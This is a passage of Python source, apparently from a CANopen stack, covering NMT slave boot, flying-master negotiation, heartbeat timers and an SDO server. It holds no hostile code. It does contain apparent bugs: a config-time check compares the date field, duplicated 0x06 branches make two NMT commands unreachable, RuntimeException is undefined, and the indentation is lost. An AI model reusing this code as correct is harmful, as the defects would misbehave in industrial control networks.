cfg_time = self._sdo_upload_request(slave_id, 0x1020, 0x02)
if cfg_date is not None and int.from_bytes(cfg_date[4:8]) == expected_cfg_date and cfg_time is not None and int.from_bytes(cfg_date[4:8]) == expected_cfg_time:
update_configuration = False
if update_configuration:
pass # TODO: Update configuration per CiA 302-3
# Enter Routes D/E
consumer_heartbeat_time_obj = self.od.get(ODI_HEARTBEAT_CONSUMER_TIME)
if consumer_heartbeat_time_obj is not None:
for subindex in range(1, consumer_heartbeat_time_obj.get(ODSI_VALUE).value + 1):
consumer_heartbeat_time = consumer_heartbeat_time_obj.get(subindex).value
if (consumer_heartbeat_time >> 16) & 0x7F == slave_id:
if (consumer_heartbeat_time & 0xFFFF) > 0:
if slave_id in self._heartbeat_consumer_timers and self._heartbeat_consumer_timers.get(slave_id).is_alive():
break # Heartbeat indication received
time.sleep((consumer_heartbeat_time & 0xFFFF) / 1000) # Check again after waiting
if slave_id in self._heartbeat_consumer_timers and self._heartbeat_consumer_timers.get(slave_id).is_alive():
break # Heartbeat indication received
self._nmt_slave_booters[slave_id]["status"] = "K"
else:
pass # Node guarding not supported
break
if route_d:
self._nmt_slave_booters[slave_id]["status"] = "L"
return
if not route_e:
nmt_startup_obj = self.od.get(ODI_NMT_STARTUP)
if nmt_startup_obj is not None:
nmt_startup = nmt_startup_obj.get(ODSI_VALUE).value
if (nmt_startup & 0x80) == 0: # The NMT master shall start the NMT slaves
if (nmt_startup & 0x02) == 0 or self.nmt_state == NMT_STATE_OPERATIONAL:
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_START, slave_id))
self._nmt_slave_booters[slave_id]["status"] = "OK"
def _nmt_boot_timeout(self):
self._nmt_boot_time_expired = True
def _nmt_compare_flying_master_priority(self, priority):
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
own_priority = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY).value
if priority <= own_priority:
logger.debug("Acive NMT Master priority level is the same or higher")
self._nmt_become_inactive_master()
else:
logger.debug("Acive NMT Master priority level is lower")
self.send_nmt(NmtForceFlyingMasterRequest())
self._nmt_flying_master_startup()
def _nmt_flying_master_negotiation(self):
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
priority = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY).value
priority_time_slot = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY_TIME_SLOT).value
device_time_slot = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_DEVICE_TIME_SLOT).value
self._cancel_timer(self._nmt_flying_master_timer)
flying_master_response_wait_time = (priority * priority_time_slot + self.id * device_time_slot) / 1000
self._nmt_flying_master_timer = threading.Timer(flying_master_response_wait_time, self._nmt_flying_master_negotiation_timeout)
self._nmt_flying_master_timer.start()
def _nmt_flying_master_negotiation_request(self):
logger.debug("Requesting service NMT flying master negotiaion")
self.send_nmt(NmtFlyingMasterRequest())
self._nmt_flying_master_negotiation()
def _nmt_flying_master_negotiation_timeout(self):
logger.debug("NMT flying master negotiaion timeout")
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
priority = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY).value
self.send_nmt(NmtMasterNodeIdMessage(priority, self.id))
self._nmt_become_active_master()
def _nmt_flying_master_startup(self):
logger.debug("Entering NMT flying master process")
flying_master_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
if flying_master_params is None:
raise RuntimeException("Device is configured as NMT flying master, but object dictionary parameters do not exist")
flying_master_negotiation_delay = flying_master_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_DELAY).value
time.sleep(flying_master_negotiation_delay / 1000)
logger.debug("Service active NMT master detection")
self.send_nmt(NmtActiveMasterRequest())
self._cancel_timer(self._nmt_active_master_timer)
active_nmt_master_timeout_time = flying_master_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_TIMEOUT).value / 1000
self._nmt_active_master_timer = threading.Timer(active_nmt_master_timeout_time, self._nmt_active_master_timeout)
self._nmt_active_master_timer.start()
def _nmt_startup(self):
logger.debug("Entering NMT startup process")
nmt_startup_obj = self.od.get(ODI_NMT_STARTUP)
if nmt_startup_obj is not None:
nmt_startup = nmt_startup_obj.get(ODSI_VALUE).value
if nmt_startup & 0x01: # NMT Master
if nmt_startup & 0x20: # NMT Flying Master
self._nmt_flying_master_startup()
else:
self._nmt_become_active_master()
else:
if (nmt_startup & 0x04) == 0:
logger.debug("Self-starting")
self.nmt_state = NMT_STATE_OPERATIONAL
logger.debug("Entering NMT slave mode")
else:
logger.debug("Entering NMT slave mode")
def _on_sdo_download(self, odi, odsi, obj, sub_obj):
obj.update({odsi: sub_obj})
self.od.update({odi: obj})
if odi in [ODI_SYNC, ODI_SYNC_TIME]:
self._process_sync()
elif odi == ODI_HEARTBEAT_PRODUCER_TIME:
self._process_heartbeat_producer()
threading.Thread(target=self.on_sdo_download, args=(odi, odsi, obj, sub_obj), daemon=True).start()
def _process_err_indicator(self):
try:
self._err_indicator.set_state(self.default_bus.state)
self._redundant_err_indicator.set_state(self.redundant_bus.state)
except AttributeError:
pass
def _process_heartbeat_producer(self):
heartbeat_producer_time_object = self.od.get(ODI_HEARTBEAT_PRODUCER_TIME)
if heartbeat_producer_time_object is not None:
heartbeat_producer_time_value = heartbeat_producer_time_object.get(ODSI_VALUE)
if heartbeat_producer_time_value is not None and heartbeat_producer_time_value.value is not None:
heartbeat_producer_time = heartbeat_producer_time_value.value / 1000
else:
heartbeat_producer_time = 0
else:
heartbeat_producer_time = 0
self._cancel_timer(self._heartbeat_producer_timer)
if heartbeat_producer_time != 0:
self._heartbeat_producer_timer = IntervalTimer(heartbeat_producer_time, self._send_heartbeat)
self._heartbeat_producer_timer.start()
def _process_msg(self, msg: can.Message):
can_id = msg.arbitration_id
data = msg.data
fc = (can_id & FUNCTION_CODE_MASK) >> FUNCTION_CODE_BITNUM # Only look for restricted CAN-IDs using function code
if msg.is_remote_frame: # CiA recommendeds against using RTRs, but they are still supported
target_node = can_id & 0x7F
if fc == FUNCTION_CODE_NMT_ERROR_CONTROL and (target_node == self.id or target_node == BROADCAST_NODE_ID):
self._send_heartbeat()
if self.nmt_state == NMT_STATE_OPERATIONAL:
for tpdo in range(1, 5):
tpdo_cp = self.od.get(ODI_TPDO1_COMMUNICATION_PARAMETER + tpdo - 1)
if tpdo_cp is not None:
tpdo_cp_id = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_ID)
if tpdo_cp_id is not None and (tpdo_cp_id >> TPDO_COMM_PARAM_ID_VALID_BITNUM) & 1 == 0 and (tpdo_cp_id >> TPDO_COMM_PARAM_ID_RTR_BITNUM) & 1 == 0:
tpdo_cp_type = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_TYPE)
if tpdo_cp_type == 0xFC:
self._tpdo_triggers[0] = True; # Defer until SYNC event
elif tpdo_cp_type == 0xFD:
self._send_pdo(tpdo)
elif fc == FUNCTION_CODE_NMT:
command = can_id & 0x7F
if command == NMT_NODE_CONTROL:
target_node = data[1]
if target_node == self.id or target_node == BROADCAST_NODE_ID:
cs = data[0]
if cs == NMT_NODE_CONTROL_START:
self.nmt_state = (NMT_STATE_OPERATIONAL, msg.channel)
elif cs == NMT_NODE_CONTROL_STOP:
self.nmt_state = (NMT_STATE_STOPPED, msg.channel)
elif cs == NMT_NODE_CONTROL_PREOPERATIONAL:
self.nmt_state = (NMT_STATE_PREOPERATIONAL, msg.channel)
elif cs == NMT_NODE_CONTROL_RESET_NODE:
self.reset()
elif cs == NMT_NODE_CONTROL_RESET_COMMUNICATION:
self.reset_communication(msg.channel)
elif command == NMT_MASTER_NODE_ID: # Response from either an NmtActiveMasterRequest, NmtFlyingMasterRequest, or unsolicted from non-Flying Master after bootup was indicated
if self.is_nmt_master_capable:
logger.debug("Active NMT flying master detected with node-ID {}".format(data[1]))
compare_priority = False
self._nmt_active_master_id = data[1]
if self._cancel_timer(self._nmt_active_master_timer): # If from NmtActiveMasterRequest
self._first_boot = False
compare_priority = True
if self._cancel_timer(self._nmt_flying_master_timer): # If from NmtFlyingMasterRequest
compare_priority = True
if self._cancel_timer(self._nmt_multiple_master_timer):
compare_priority = True
if compare_priority:
self._nmt_compare_flying_master_priority(data[0])
elif command == NMT_ACTIVE_MASTER_REQUEST:
if self.is_active_nmt_master:
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
priority = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY).value
self.send_nmt(NmtMasterNodeIdMessage(priority, self.id))
elif command == NMT_FLYING_MASTER_REQUEST:
nmt_startup_obj = self.od.get(ODI_NMT_STARTUP)
if nmt_startup_obj is not None:
nmt_startup = nmt_startup_obj.get(ODSI_VALUE).value
if nmt_startup & 0x21: # Is NMT Flying Master
self._nmt_flying_master_negotiation()
elif command == NMT_MASTER_REQUEST:
if self.is_nmt_master_capable:
self.send_nmt(NmtMasterResponse())
elif command == NMT_FORCE_FLYING_MASTER:
if self.is_nmt_master_capable:
logger.info("Force NMT flying master negotation service indicated")
self._nmt_become_inactive_master()
self._nmt_flying_master_startup()
elif command == NMT_INDICATE_ACTIVE_INTERFACE: # CiA 302-6, Figure 7, event (2), (5), (7), or (9)
self._cancel_timer(self._heartbeat_evaluation_power_on_timer)
if msg.channel == self.default_bus.channel:
self.active_bus = self.default_bus
else:
self.active_bus = self.redundant_bus
elif fc == FUNCTION_CODE_NMT_ERROR_CONTROL:
producer_id = can_id & 0x7F
producer_nmt_state = data[0]
if msg.channel == self.default_bus.channel and (
(self._heartbeat_evaluation_power_on_timer is not None and self._heartbeat_evaluation_power_on_timer.is_alive()) or
(self._heartbeat_evaluation_reset_communication_timer is not None and self._heartbeat_evaluation_reset_communication_timer.is_alive())
):
if producer_id in self._heartbeat_evaluation_counters:
self._heartbeat_evaluation_counters[producer_id] += 1
else:
self._heartbeat_evaluation_counters[producer_id] = 1
if producer_id in self._heartbeat_consumer_timers:
self._cancel_timer(self._heartbeat_consumer_timers.get(producer_id))
elif self.is_nmt_master_capable and (producer_id == self._nmt_active_master_id):
self._cancel_timer(self._nmt_active_master_timer)
heartbeat_producer_object = self.od.get(ODI_HEARTBEAT_PRODUCER_TIME)
if heartbeat_producer_object is not None:
heartbeat_producer_value = heartbeat_producer_object.get(ODSI_VALUE)
if heartbeat_producer_value is not None and heartbeat_producer_value.value != 0:
self._nmt_active_master_timer = threading.Timer(heartbeat_producer_value.value * 1.5 / 1000, self._nmt_active_master_timeout, [True])
self._nmt_active_master_timer.start()
heartbeat_consumer_time = 0
heartbeat_consumer_time_object = self.od.get(ODI_HEARTBEAT_CONSUMER_TIME)
if heartbeat_consumer_time_object is not None:
heartbeat_consumer_time_length = heartbeat_consumer_time_object.get(ODSI_VALUE)
if heartbeat_consumer_time_length is not None and heartbeat_consumer_time_length.value is not None:
for i in range(1, heartbeat_consumer_time_length.value + 1):
heartbeat_consumer_time_value = heartbeat_consumer_time_object.get(i)
if heartbeat_consumer_time_value is not None and heartbeat_consumer_time_value.value is not None and ((heartbeat_consumer_time_value.value >> 16) & 0x7F) == producer_id:
heartbeat_consumer_time = (heartbeat_consumer_time_value.value & 0xFFFF) / 1000
break
if heartbeat_consumer_time != 0:
heartbeat_consumer_timer = threading.Timer(heartbeat_consumer_time, self._heartbeat_consumer_timeout, [producer_id])
heartbeat_consumer_timer.start()
self._heartbeat_consumer_timers.update({producer_id: heartbeat_consumer_timer})
if self.is_nmt_master_capable and (producer_id == self._nmt_active_master_id):
self._cancel_timer(self._nmt_active_master_timer)
self._nmt_active_master_timer = threading.Timer(heartbeat_consumer_time, self._nmt_active_master_timeout)
self._nmt_active_master_timer.start()
request_nmt_obj = self.od.get(ODI_REQUEST_NMT)
if request_nmt_obj is not None:
request_nmt_subobj = request_nmt_obj.get(producer_id)
if request_nmt_subobj is not None:
request_nmt_subobj.value = producer_nmt_state
request_nmt_obj.update({producer_id: request_nmt_subobj})
self.od.update({ODI_REQUEST_NMT: request_nmt_obj})
if self.is_active_nmt_master and producer_nmt_state == NMT_STATE_INITIALISATION:
# Service NMT master node-ID
nmt_flying_master_timing_params = self.od.get(ODI_NMT_FLYING_MASTER_TIMING_PARAMETERS)
if nmt_flying_master_timing_params is not None:
priority = nmt_flying_master_timing_params.get(ODSI_NMT_FLYING_MASTER_TIMING_PARAMS_PRIORITY).value
else:
priority = 0
self.send_nmt(NmtMasterNodeIdMessage(priority, self.id))
# Bootup handler
nmt_slave_assignments = self.od.get(ODI_NMT_SLAVE_ASSIGNMENT)
if nmt_slave_assignments is not None:
nmt_slave_assignment = nmt_slave_assignments.get(producer_id)
if nmt_slave_assignment is not None:
if nmt_slave_assignment.value & 0x01:
self._nmt_boot_slave(producer_id) # TODO: Inform application
else:
pass # TODO: Inform application
else: # Check non-restricted CAN-IDs
if self.nmt_state == NMT_STATE_OPERATIONAL and msg.channel == self.active_bus.channel: # CiA 302-6, Section 4.4.2.3
sync_obj = self.od.get(ODI_SYNC)
if sync_obj is not None:
sync_obj_value = sync_obj.get(ODSI_VALUE)
if sync_obj_value is not None and (sync_obj_value.value & 0x1FFFFFFF) == can_id:
self._sync_counter = (self._sync_counter + 1) % 241
for i in range(4):
tpdo_cp = self.od.get(ODI_TPDO1_COMMUNICATION_PARAMETER + i)
if tpdo_cp is not None:
tpdo_cp_id = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_ID)
if tpdo_cp_id is not None and tpdo_cp_id.value is not None and (tpdo_cp_id.value >> TPDO_COMM_PARAM_ID_VALID_BITNUM) & 1 == 0:
tpdo_cp_type = tpdo_cp.get(ODSI_TPDO_COMM_PARAM_TYPE)
if tpdo_cp_type is not None and tpdo_cp_type.value is not None and (((tpdo_cp_type.value == 0 or tpdo_cp_type.value == 0xFC) and self._tpdo_triggers[i]) or (self._sync_counter % tpdo_cp_type.value) == 0):
self._send_pdo(i + 1)
if (self.nmt_state == NMT_STATE_PREOPERATIONAL or self.nmt_state == NMT_STATE_OPERATIONAL) and msg.channel == self.active_bus.channel: # CiA 302-6, Section 4.3.2.3
time_obj = self.od.get(ODI_TIME_STAMP)
if time_obj is not None:
time_cob_id = time_obj.get(ODSI_VALUE).value
if time_cob_id & 0x80 and time_cob_id & 0x1FFFF == can_id:
ms, d = struct.unpack("<IH", data[0:6])
ms = ms >> 4
td = datetime.timedelta(days=d, milliseconds=ms)
ts = datetime.datetime(1980, 1, 1) + td
self._timedelta = ts - datetime.datetime.now()
if (
(msg.channel == self.default_bus.channel and (self._nmt_state == NMT_STATE_PREOPERATIONAL or self._nmt_state == NMT_STATE_OPERATIONAL))
or
(self.redundant_bus is not None and msg.channel == self.redundant_bus.channel and (self._redundant_nmt_state == NMT_STATE_PREOPERATIONAL or self._redundant_nmt_state == NMT_STATE_OPERATIONAL))
) and len(data) == 8: # Ignore SDO if data is not 8 bytes
sdo_server_object = self.od.get(ODI_SDO_SERVER)
if sdo_server_object is not None:
sdo_server_csid = sdo_server_object.get(ODSI_SDO_SERVER_DEFAULT_CSID)
if sdo_server_csid is not None and (sdo_server_csid.value & 0x1FFFFFFF) == can_id:
try:
ccs = (data[0] & SDO_CS_MASK) >> SDO_CS_BITNUM
if self._sdo_cs == SDO_SCS_BLOCK_DOWNLOAD and self._sdo_seqno > 0:
logger.info("SDO block download sub-block for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
c = data[0] >> 7
seqno = data[0] & 0x7F
if self._sdo_seqno != seqno:
if self._sdo_seqno > 1:
raise SdoAbort(self._sdo_odi, self._sdo_odsi, SDO_ABORT_INVALID_SEQNO)
else:
ackseq = 0
else:
self._sdo_data += data[1:8]
ackseq = seqno
if c == 1:
self._sdo_seqno = 0
elif self._sdo_seqno == self._sdo_len:
self._sdo_seqno = 1
else:
self._sdo_seqno += 1
return
blksize = 127
data = struct.pack("<BBB5x", (SDO_SCS_BLOCK_DOWNLOAD << SDO_CS_BITNUM) + SDO_BLOCK_SUBCOMMAND_RESPONSE, ackseq, blksize)
else:
if ccs in [SDO_CS_ABORT, SDO_CCS_DOWNLOAD_INITIATE, SDO_CCS_UPLOAD_INITIATE] or (ccs == SDO_CCS_BLOCK_DOWNLOAD and (data[0] & 0x1) == SDO_BLOCK_SUBCOMMAND_INITIATE) or (ccs == SDO_CCS_BLOCK_UPLOAD and (data[0] & 0x03) == SDO_BLOCK_SUBCOMMAND_INITIATE):
odi = (data[2] << 8) + data[1]
odsi = data[3]
if odi in self.od:
obj = self.od.get(odi)
if odsi in obj:
subobj = obj.get(odsi)
else:
raise SdoAbort(odi, odsi, SDO_ABORT_SUBINDEX_DNE)
else:
raise SdoAbort(odi, odsi, SDO_ABORT_OBJECT_DNE)
if ccs == SDO_CS_ABORT:
logger.info("SDO abort request for mux 0x{:02X}{:04X}".format(odi, odsi))
self._sdo_cs = None
self._sdo_data = None
self._sdo_len = None
self._sdo_odi = None
self._sdo_odsi = None
self._sdo_seqno = 0
self._sdo_t = None
return
elif ccs == SDO_CCS_DOWNLOAD_INITIATE:
logger.info("SDO download initiate request for mux 0x{:02X}{:04X}".format(odi, odsi))
if subobj.access_type in [AccessType.RO, AccessType.CONST]:
raise SdoAbort(odi, odsi, SDO_ABORT_RO)
scs = SDO_SCS_DOWNLOAD_INITIATE
s = (data[0] >> SDO_S_BITNUM) & 1
e = (data[0] >> SDO_E_BITNUM) & 1
data_type_index = subobj.data_type
if e == 1 and s == 1:
n = (data[0] & SDO_INITIATE_N_MASK) >> SDO_INITIATE_N_BITNUM
subobj.value = subobj.from_bytes(data[4:8-n])
self._on_sdo_download(odi, odsi, obj, subobj)
elif e == 1 and s == 0:
n = 0 # Unspecified number of bytes, default to all
if data_type_index in self.od:
data_type_object = self.od.get(data_type_index)
if ODSI_VALUE in data_type_object:
n = 4 - max(1, data_type_object.get(ODSI_VALUE).value // 8)
subobj.value = subobj.from_bytes(data[4:8-n])
self._on_sdo_download(odi, odsi, obj, subobj)
elif e == 0 and s == 1: # Normal (non-expedited) SDO
self._sdo_odi = odi
self._sdo_odsi = odsi
self._sdo_t = 0
self._sdo_len = int.from_bytes(data[4:8], byteorder="little")
if self._sdo_len == 0:
raise SdoAbort(odi, odsi, SDO_ABORT_PARAMETER_LENGTH)
self._sdo_data = []
self._sdo_data_type = data_type_index
else: # e == 0, s == 0 is reserved
logger.error("SDO Download Initiate Request with e=0 & s=0 aborted")
raise SdoAbort(odi, odsi, SDO_ABORT_GENERAL)
if e == 1: # Handle special cases
if odi == ODI_PREDEFINED_ERROR_FIELD and subobj.value != 0:
raise SdoAbort(odi, odsi, SDO_ABORT_INVALID_VALUE)
if odi == ODI_REQUEST_NMT:
if not self.is_active_nmt_master:
logger.error("SDO Download to NMT Request aborted; device is not active NMT master")
raise SdoAbort(odi, odsi, SDO_ABORT_GENERAL)
target_node = odsi & 0x7F
if (subobj.value & 0x7F) == 0x04: # Stop remote node
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_STOP, target_node))
elif (subobj.value & 0x7F) == 0x05: # Start remote node
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_START, target_node))
elif (subobj.value & 0x7F) == 0x06: # Reset node
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_RESET_NODE, target_node))
elif (subobj.value & 0x7F) == 0x06: # Reset communication
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_RESET_COMMUNICATION, target_node))
elif (subobj.value & 0x7F) == 0x06: # Enter preoperational
self.send_nmt(NmtNodeControlMessage(NMT_NODE_CONTROL_PREOPERATIONAL, target_node))
else:
raise SdoAbort(odi, odsi, SDO_ABORT_INVALID_VALUE)
data = struct.pack("<BHB4x", scs << SDO_CS_BITNUM, odi, odsi)
elif ccs == SDO_CCS_DOWNLOAD_SEGMENT:
if self._sdo_data is None:
logger.error("SDO Download Segment Request aborted, initate not received or aborted")
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS) # Initiate not receieved or aborted
logger.info("SDO download segment request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
scs = SDO_SCS_DOWNLOAD_SEGMENT
t = (data[0] >> SDO_T_BITNUM) & 1
if self._sdo_t != t:
raise SdoAbort(self._sdo_odi, self._sdo_odsi, SDO_ABORT_TOGGLE)
self._sdo_t = t ^ 1
n = (data[0] & SDO_SEGMENT_N_MASK) >> SDO_SEGMENT_N_BITNUM
self._sdo_data += data[1:8-n]
c = (data[0] >> SDO_C_BITNUM) & 1
if c == 1:
obj = self.od.get(self._sdo_odi)
subobj = obj.get(self._sdo_odsi)
subobj.value = subobj.from_bytes(self._sdo_data)
self._on_sdo_download(odi, odsi, obj, subobj)
self._sdo_data = None
self._sdo_data_type = None
self._sdo_len = None
self._sdo_odi = None
self._sdo_odsi = None
self._sdo_t = None
data = struct.pack("<B7x", (scs << SDO_CS_BITNUM) + (t << SDO_T_BITNUM))
elif ccs == SDO_CCS_UPLOAD_INITIATE:
logger.info("SDO upload initiate request for mux 0x{:02X}{:04X}".format(odi, odsi))
if subobj.access_type == AccessType.WO:
raise SdoAbort(odi, odsi, SDO_ABORT_WO)
if odsi != ODSI_VALUE and obj.get(ODSI_VALUE).value < odsi:
raise SdoAbort(odi, odsi, SDO_ABORT_NO_DATA)
scs = SDO_SCS_UPLOAD_INITIATE
data_type_index = subobj.data_type
data_type_length = None
if data_type_index in self.od:
data_type_object = self.od.get(data_type_index)
if ODSI_VALUE in data_type_object:
data_type_length = data_type_object.get(ODSI_VALUE).value // 8
if data_type_length == 0:
data_type_length = None
if data_type_length is None:
if hasattr(subobj.value, "fileno"):
data_type_length = os.fstat(subobj.value.fileno()).st_size
else:
data_type_length = len(bytes(subobj))
if data_type_length > 4:
if hasattr(subobj.value, "read"):
self._sdo_data = subobj.value
self._sdo_data.seek(0)
else:
self._sdo_data = bytes(subobj)
self._sdo_len = data_type_length
self._sdo_t = 0
self._sdo_odi = odi
self._sdo_odsi = odsi
s = 1
e = 0
n = 0
sdo_data = struct.pack("<I", data_type_length)
else:
n = 4 - data_type_length
s = 1
e = 1
sdo_data = bytes(subobj)
data = struct.pack("<BHB4s", (scs << SDO_CS_BITNUM) + (n << SDO_INITIATE_N_BITNUM) + (e << SDO_E_BITNUM), odi, odsi, sdo_data)
elif ccs == SDO_CCS_UPLOAD_SEGMENT:
if self._sdo_data is None:
logger.error("SDO upload initiate request aborted, initiate not received or aborted")
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS) # Initiate not receieved or aborted
logger.info("SDO upload segment request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
scs = SDO_SCS_UPLOAD_SEGMENT
t = (data[0] >> SDO_T_BITNUM) & 1
if self._sdo_t != t:
raise SdoAbort(self._sdo_odi, self._sdo_odsi, SDO_ABORT_TOGGLE)
self._sdo_t = t ^ 1
if self._sdo_len > 7:
l = 7
else:
l = self._sdo_len
if hasattr(self._sdo_data, "read"):
sdo_data = self._sdo_data.read(l)
else:
sdo_data = self._sdo_data[-self._sdo_len:(-self._sdo_len+l or None)]
self._sdo_len -= l
n = 7 - l
if self._sdo_len > 0:
c = 0
else:
self._sdo_data = None
self._sdo_len = None
self._sdo_t = None
c = 1
data = struct.pack("<B{}s{}x".format(len(sdo_data), 7 - len(sdo_data)), (scs << SDO_CS_BITNUM) + (t << SDO_T_BITNUM) + (n << SDO_SEGMENT_N_BITNUM) + (c << SDO_C_BITNUM), sdo_data)
elif ccs == SDO_CCS_BLOCK_DOWNLOAD:
scs = SDO_SCS_BLOCK_DOWNLOAD
cs = data[0] & 0x01
if cs == SDO_BLOCK_SUBCOMMAND_INITIATE:
logger.info("SDO block download initiate request for mux 0x{:02X}{:04X}".format(odi, odsi))
if subobj.access_type in [AccessType.RO, AccessType.CONST]:
raise SdoAbort(odi, odsi, SDO_ABORT_RO)
if odsi != ODSI_VALUE and obj.get(ODSI_VALUE).value < odsi:
raise SdoAbort(odi, odsi, SDO_ABORT_NO_DATA)
cc = (data[0] >> 2) & 0x01
s = (data[0] >> 1) & 0x01
if s == 1:
size = int.from_bytes(data[4:8], byteorder="little")
if size == 0:
raise SdoAbort(odi, odsi, SDO_ABORT_PARAMETER_LENGTH)
if size > 127:
blksize = 127
else:
blksize = size
else:
blksize = 127
sc = cc
self._sdo_cs = scs
self._sdo_data = []
self._sdo_len = blksize
self._sdo_odi = odi
self._sdo_odsi = odsi
self._sdo_seqno = 1
self._sdo_t = cc # CRC support
data = struct.pack("<BHBB3x", (scs << SDO_CS_BITNUM) + (sc << 2) + SDO_BLOCK_SUBCOMMAND_INITIATE, odi, odsi, blksize)
else: # SDO_BLOCK_SUBCOMMAND_END
if self._sdo_cs != SDO_SCS_BLOCK_DOWNLOAD:
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS)
logger.info("SDO block download end request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
n = (data[0] >> 2) & 0x07
self._sdo_data = self._sdo_data[0:-n]
if self._sdo_t: # Check CRC
crc, = struct.unpack("<H", data[1:3])
if crc != crc_hqx(bytes(self._sdo_data), 0):
raise SdoAbort(self._sdo_odi, self._sdo_odsi, SDO_ABORT_CRC_ERROR)
obj = self.od.get(self._sdo_odi)
subobj = obj.get(self._sdo_odsi)
subobj.value = subobj.from_bytes(self._sdo_data)
self._on_sdo_download(odi, odsi, obj, subobj)
self._sdo_cs = None
self._sdo_data = None
self._sdo_len = None
self._sdo_odi = None
self._sdo_odsi = None
self._sdo_seqno = 0
self._sdo_t = None
data = struct.pack("<B7x", (scs << SDO_CS_BITNUM) + SDO_BLOCK_SUBCOMMAND_END)
elif ccs == SDO_CCS_BLOCK_UPLOAD:
cs = data[0] & 0x03
if cs == SDO_BLOCK_SUBCOMMAND_INITIATE:
cc = (data[0] >> 2) & 0x01
blksize = data[4]
if blksize == 0 or blksize >= 128:
raise SdoAbort(odi, odsi, SDO_ABORT_INVALID_BLKSIZE)
pst = data[5] # TODO: Support protocol switching
sc = cc # CRC support
data_type_index = subobj.data_type
data_type_length = None # Maybe use len(bytes(subobj))?
if data_type_index in self.od:
data_type_object = self.od.get(data_type_index)
if ODSI_VALUE in data_type_object:
data_type_length = data_type_object.get(ODSI_VALUE).value // 8
if data_type_length is None:
s = 0
size = 0
else:
s = 1
size = data_type_length
scs = SDO_SCS_BLOCK_UPLOAD
self._sdo_cs = scs
if hasattr(subobj.value, "read"):
self._sdo_data = subobj.value
self._sdo_data.seek(0)
else:
self._sdo_data = bytes(subobj)
self._sdo_len = blksize
self._sdo_odi = odi
self._sdo_odsi = odsi
logger.info("SDO block upload initiate request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
data = struct.pack("<BHBI", (scs << SDO_CS_BITNUM) + (sc << 2) + (s << 1) + SDO_BLOCK_SUBCOMMAND_INITIATE, self._sdo_odi, self._sdo_odsi, size)
elif cs == SDO_BLOCK_SUBCOMMAND_START:
if self._sdo_cs != SDO_SCS_BLOCK_UPLOAD:
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS);
logger.info("SDO block upload start request for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
self._sdo_seqno = 1
if hasattr(self._sdo_data, "fileno"):
data_len = os.fstat(self._sdo_data.fileno()).st_size
else:
data_len = len(self._sdo_data)
while data_len > 0 and self._sdo_seqno <= self._sdo_len:
if data_len > 7:
c = 0
else:
c = 1
if hasattr(self._sdo_data, "read"):
sdo_data = self._sdo_data.read(7)
else:
sdo_data = self._sdo_data[(self._sdo_seqno - 1) * 7:self._sdo_seqno * 7]
sdo_data = sdo_data.ljust(7, b'\x00')
data = struct.pack("<B7s", (c << 7) + self._sdo_seqno, sdo_data)
sdo_server_scid = sdo_server_object.get(ODSI_SDO_SERVER_DEFAULT_SCID)
if sdo_server_scid is None:
raise ValueError("SDO Server SCID not specified")
msg = can.Message(arbitration_id=sdo_server_scid.value & 0x1FFFFFFF, data=data, is_extended_id=False, channel=msg.channel)
self._send(msg, msg.channel)
data_len -= 7
self._sdo_seqno += 1
if hasattr(self._sdo_data, "seek"):
self._sdo_data.seek((1 - self._sdo_seqno) * 7, io.SEEK_CUR)
return
elif cs == SDO_BLOCK_SUBCOMMAND_RESPONSE:
if self._sdo_cs != SDO_SCS_BLOCK_UPLOAD:
raise SdoAbort(0, 0, SDO_ABORT_INVALID_CS);
logger.info("SDO block upload response for mux 0x{:02X}{:04X}".format(self._sdo_odi, self._sdo_odsi))
ackseq = data[1]
blksize = data[2]
if ackseq != 0:
if hasattr(self._sdo_data, "fileno"):
data_len = os.fstat(self._sdo_data.fileno()).st_size - self._sdo_data.tell()
else:
data_len = len(self._sdo_data)
bytes_transferred = 7 * ackseq
bytes_left = data_len - bytes_transferred
if bytes_left < 0:
n = -bytes_left
else:
n = 0
if hasattr(self._sdo_data, "seek"):
self._sdo_data.seek(bytes_transferred, io.SEEK_CUR)
else:
self._sdo_data = self._sdo_data[bytes_transferred:]
if ackseq == self._sdo_len:
self._sdo_seqno = 1
else:
self._sdo_seqno = ackseq + 1
self._sdo_len = blksize
if hasattr(self._sdo_data, "fileno"):
data_len = os.fstat(self._sdo_data.fileno()).st_size - self._sdo_data.tell()
else:
data_len = len(self._sdo_data)
logger.info("{} bytes remaining in SDO block upload".format(data_len))
